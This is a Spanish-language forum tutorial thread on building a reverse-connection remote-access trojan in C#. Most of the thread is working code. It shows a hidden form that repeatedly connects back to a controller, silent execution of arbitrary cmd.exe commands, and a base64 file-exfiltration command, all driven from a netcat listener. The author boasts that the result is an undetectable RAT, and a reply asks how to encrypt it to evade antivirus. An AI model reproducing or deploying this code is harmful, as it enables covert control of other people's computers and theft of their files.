Creando un Troyano en C#

Iniciado por Devilboy.Devil, 26 Diciembre 2013, 22:26 PM

0 Miembros y 1 Visitante están viendo este tema.

Devilboy.Devil

En este tuto voy a enseñar como crear el principio de un RAT de conexion inversa.

En mi caso usaré visual studio ultimate 2012 pero obviamente puede utilizar algun otro IDE.

***************Creando el Servidor*************


Crearemos un servidor muy simple que lo que hará será esperar a que el cliente se conecte esto será mediante un ciclo infinito con una pausa del tiempo que nosotros indiquémos
Abrimos vs y creamos un nuevo proyecto de winform, y dos  clases con el nombre que querámos en mi caso el nombre dle proyecto es Server, clase Servidor y Utilidades:



Primero escribiremos la clase servidor

agregamos los NameSpaces que necesitamos, en este caso solo agregarémos 3:

using System.IO; //Streams
using System.Net.Sockets; //tcpclient
using System.Threading; //Hilos



y nuestra clase quedará de la sig. manera:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO; //Streams
using System.Net; //IPAdress
using System.Net.Sockets; //tcpclient
using System.Threading; //Hilos

namespace Server
{
    public class Servidor
    {
//variables necesarias para conectarnos al cliente de manera inversa, ademas de escuchar los mensajes de este

        private string ip;
        private int port;
        private TcpClient tcpClient;
        private NetworkStream ns;
        private StreamReader sr;
        private StreamWriter sw;
        private StringBuilder sb;     
       

        public Servidor(string ip, int port)
        {
            this.ip = ip;
            this.port = port;
        }

        private enum mensajes
        {
            CD,
            Mensaje
        }


        public void iniciar(int tiempo)
        {
            EjecutarServidor();
            Thread.Sleep(tiempo);           
        }

        private void EjecutarServidor()
        {
            tcpClient = new TcpClient();
            sb = new StringBuilder();

            if (!tcpClient.Connected)
            {
                try
                {
                    tcpClient.Connect(ip, port);
                    ns = tcpClient.GetStream();
                    sr = new StreamReader(ns);
                    sw = new StreamWriter(ns);

                }
                catch (Exception)
                {
                    return;
                }

                for (; ; )
                {
                    try
                    {
                        sb.Append(sr.ReadLine());
                        LeerDatos(sb.ToString());
                        sb.Remove(0, sb.Length);
                    }
                    catch (Exception)
                    {
                        limpiar();
                        break;
                    }

                }
            }//fin del if 
        }//fin del metodo EjecutarServidor

        private void LeerDatos(string datos)
        {
            string[] cadena = datos.Split('$');

            if (String.Compare(cadena[0], mensajes.Mensaje.ToString()) == 0)
            {
                Utilidades.mandarMensaje(cadena[1]);
            }
        }//fin de LeerDatos

        private void limpiar()
        {
            sr.Close();
            sw.Close();
            ns.Close();
        }//fin de limpiar
    }//fin clase servidor
}



Aquí he creado las variables que necesitamos para conectarnos al cliente, esto es la ip y el puerto (esto se hace en el constructor) ademas de un StreamReader que usarémos para escuchar los mensajes que el cliente escriba.

Usé una variable del tipo enum, esto es para validar los mensajes del cliente, esto lo hacemos de la sig forma:

si el cliente escribe por ejemplo  "MandarMensaje" el servidor compara ese mensaje con el enum y si son iguales entonces va a realizar alguna tarea que escribamos en la clase Utilidades.

En el metodo iniciar hemos creado un bucle donde se ejecutará el metodo EjecutarServidor y ademas hará una pausa de x milisegundos.

El sig. metodo es el corazón del servidor, aqui intentarémos conectarnos y escucharémos los mensajes que el cliente nos pase

Los mensajes los validaremos en el metodo LeerDatos donde mandarémos como parametros el mensaje que el cliente escriba

Aquí mediante un string.compare() validamos si el mensaje es igual a lo que esperámos y si es así entonces ejecutarémos lo que haya en Utilidades
además usamos un split para seprar el mensaje del cliente, mas adelante con un ejemplo mostraré lo que realmente hace

el ultimo metodo es limpiar, aqui cerrarémos los streams.

ahora en la clase Utilidades, vamos a indicarle que sea estatica para no tener que instanciarla cada vez que la querámos utilizar

aqui simplemente se ejecuta un MessageBox.Show con el mensaje que el cliente haya escrito.

***************Usando la clase*************

ahora solo nos queda irnos al form y en el evento load de nuestro form y escribimos lo sig:

crearemos dos variables

private Servidor servidor;
        private int tiempoRecon;


en el contructor las asignarémos:

servidor = new Servidor("127.0.0.1", 9999);
            tiempoRecon = 5000;


y el el evento load ejecutarémos nuestra clase:

private void Form1_Load(object sender, EventArgs e)
        {
            this.Hide();
            for (; ; )
            {
                servidor.iniciar(tiempoRecon);
            }
        }



el codigo completo es el sig:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace Server
{
    public partial class Form1 : Form
    {
        private Servidor servidor;
        private int tiempoRecon;

        public Form1()
        {
            InitializeComponent();
            servidor = new Servidor("127.0.0.1", 9999);
            tiempoRecon = 5000;
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            this.Hide();
            for (; ; )
            {
                servidor.iniciar(tiempoRecon);
            }
        }
    }
}


***************Usar Netcat o Cryptcat como cliente*************

Como mandar los mensajes de un cliente.

bueno es muy facil podemos crear otra aplicación pero en este caso usarémos al viejo netcat o cryptcar

lo colocámos en c:\ y abrimos linea de comandos:

nc.exe -lvp 9999


ejecutamos nuestro servidor y verémos como estámos conectados

ahora solo escribirémos lo sig:

Mensaje$HolaDesdeElCliente

y verémos como se abre el MessageBox del servidor con el mensaje HolaDesdeElCliente

el mensaje del cliente como dije antes se valida en el metodo LeerDatos(string datos)


donde el parametro datos en este caso va a ser igual a "Mensaje$HolaDesdeElCliente"
y mediante el metodo string.split() vamos a separar en un arreglo todo el mensaje que haya antes del signo "$" y todo lo que haya despues
en este caso quedará asi:

string[] cadena = datos.Split('$');

siendo:
cadena[0] //Mensaje
y
cadena[1] //HolaDesdeElCliente

si escribimos cualquier otra cosa verémos que nuestro servidor no hace absolutamente nada.

pero bueno ya con ese estoy seguro que se les ocurrirá muchas cosas

bueno ahora verémos como hacerlo a la inversa (del servidor al cliente)

un ejemplo extremandamente sencillo será mandar un mensaje de Bienvenida una vez que el cliente se conecte

esto lo haremos simplemnete usando el metodo writeline de nuestro StreamWriter

solamente agregruen los sig. despues de que tcpclient se conecte:

sw.WriteLine("Hola");
sw.Flush();


con eso mandamos un mensaje mediante writeline y mediante flush borramos todos los búferes

una vez sabiendo esto es facil deducir lo que podemos hacer por ejemplo sería creando otra validacion en nuestro metodo LeerDatos

quedaría de la sig forma en pseudocdigo:

si el mensaje del cliente es igual a "dameIP" entonces
ejecutamos el metodo Utilidades.obtenerIP

y ese resultado lo mandamos mendiante writeline


como ven es muy facil crear un troyano simple.

ahora les voy a enseñar como mandar comandos cmd a nuestro servidor


agregamos un valor a la variable enum mensajes en mi caso quedó así:

private enum mensajes
        {
            CD,
            Mensaje,
            comando
        }



y validamos el mensaje en el metodo LeerDatos

if (String.Compare(cadena[0], mensajes.comando.ToString()) == 0)
            {
                Utilidades.consola(cadena[1]);
            }




agregamos el sig. namespace en nuestra clase utilidades:

using System.Diagnostics;

y creamos el sig metodo en la clase Utilidades


public static void consola(string comando)
        {
            Process cmd = new Process();
            cmd.StartInfo.FileName = "cmd.exe";
            cmd.StartInfo.RedirectStandardInput =
            true;
            cmd.StartInfo.RedirectStandardOutput =
            true;
            cmd.StartInfo.CreateNoWindow = true;
            cmd.StartInfo.UseShellExecute = false;
            cmd.Start();           

            cmd.StandardInput.WriteLine(comando);
            cmd.StandardInput.Flush();
            cmd.StandardInput.Close();
        }



y listo, ahora ejecutamos el servidor, abrimos netcat y mandamos mensaje de la siguiente forma:
comando$md pruebaaaaaa

donde comando es el mensaje que va a validar en LeerDatos
$ es simbola para separar
y md prueba es el comando (crear carpeta pruebaaaaa)

como ven es extremadamente sencillo

ya con esto hemos hecho un RAT funcional y lo mejor de todo FUD

Devilboy

bernii


bernii

Muy buen tuto , pero hay que incryotarlo para que se pueda hacer indectectable ? Pero despues como hago para seguir su funcionamiento ?

Devilboy.Devil

Seguímos usando la misma clase utilidades solo que agregarémos el metodo "downloadFile":

public static string downloadFile(string ruta)
        {

            FileStream fs = new FileStream(ruta, FileMode.Open);

            BinaryReader lector = new BinaryReader(fs);
            byte[] bytes = new byte[(int)fs.Length];
            string cadena = null;
           
            try
            {
                lector.Read(bytes, 0, bytes.Length);
                cadena = Convert.ToBase64String(bytes);             

            }
            catch (IOException ex)
            {
                cadena = "error";
            }

            return cadena;

        }


aquí lo que hacemos es convertir un archivo a base64

ahora agregamos una comparación a nuestra clase Server en el metodo LeerDatos:

if (String.Compare(cadena[0], mensajes.download.ToString()) == 0)
            {
                sw.WriteLine(Utilidades.downloadFile(cadena[1]));
               
            }


y modificamos nuestra variable enumerada "mensajes":

  private enum mensajes
        {
            CD,
            Mensaje,
            comando,
            download
        }


por ultimo nos conectanos a nuestro server mediante netcat: -lvp 9999

y escribimos el mensaje:

download$ruta_de_archivo

nos damos cuenta que netcat nos muestra todo el codigo en base64, solo nos queda escribir un programa para descifrar ese codigo.

Creamos un nuevo proyecto y en el form agregamos un textbox y un boton (podemos agregar mas cosas pero para hacerlo sencillo solo agregaré esos dos componentes)
y nos queda de esta forma:



hacemos doble click en el boton para agregar codigo:

string sImagenTemporal = "pruebaaaaa.png"; //Nombre y formato que queramos
            FileStream fs2 = new FileStream(sImagenTemporal, FileMode.Create);
            BinaryWriter bw = new BinaryWriter(fs2);


            byte[] bytes = new byte[(int)fs2.Length];     

            try
            {
                bytes = Convert.FromBase64String(textBox1.Text);
                bw.Write(bytes);
            }
             finally 
            {
               
                fs2.Close();
            }


y con eso "creamos" el archivo que hemos "descargado" del servidor

noten que aqui he hardcodeado la variable "sImagenTemporal " con un ombre de archivo y formato, esto lo he hecho así por motivos de simplicidad ya que en mi caso he descargado una imagen, pero lo que deben hacer es crear un savefiledialog pero eso ya es cosa de uds.

les dejo una idea sobre como quedaría ya con el codigo en base64:

download$C:\Users\Devil\Desktop\DD\PC\Devil\1.png
iVBORw0KGgoAAAANSUhEUgAAA5IAAABlCAIAAACwbEt5AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8
YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAChZSURBVHhe7Z39j17Hdd/9txhFkEjUUiRF0oqg0pQoWpZM
+YVcsFBBu7KoN1t1ItVUljThAgkp2nFkNXVleEuVcpFCgVXUcSEZSwkQahcKkh8CQQiyUgKhQALECYEI
kNlCQAALUM/MuXPumTMvz9znPrv7PLvfgw8Wc889M3Nm7ty5X17eJT920003AwAAAAAAMOdMI1u//e3v
vPnmm+fPf/OWWw6YUwAAAAAAAGwEg2Xr2bPf+CjY+++//+KLf/z5z58wMQAAAAAAAMyWYbL1ySe//uGH
H3aiVZkJAwAAAAAAYLYMkK1/+If/8Ve/+lUnVGMzkQAAAAAAAMyWXrbee++xl19+5cUX/zj7xWrpPSub
CQYAAAAAAGC29LK1U6AfffRXf7V+5MinxE/UNSuZDq5z/Mxqb2eWzdl5wGf4rdOHrf+mm5bdmZCzD3vq
eBSwSRw+/S03e9XeXXrJ9IpztslTa5dO32mcjO8o2LjL7UY9B5MPAAAAgK0iI1vJ3n///YceeoT9Z89+
Q2vWDz744Pz5b3YHwaSRKneevhRpl+OnHz7cn50XWGmlOoxk06VLvXLaMg4/fEmr6uNPrV7KTSP5rbBz
svvMce2ZDQXZWr7cpZyraNkKAAAAgB2Ila1/9Ef/jQskVb///R98+9vf4UO2X/ziF8vLJyVYTBqpYfTW
vOJEGMlTq/mcCJsb2apyK0rARKRmhOxsyMvWyuWGbAUAAADAcKxspYIoV2NvvPGnt9/+SR0sxs5J1N72............... mas codigo en base64


ahora solo peguen todo lo ques les muestra netcat y peguenlo en el decripter que hicimos, click en el boton y listoooo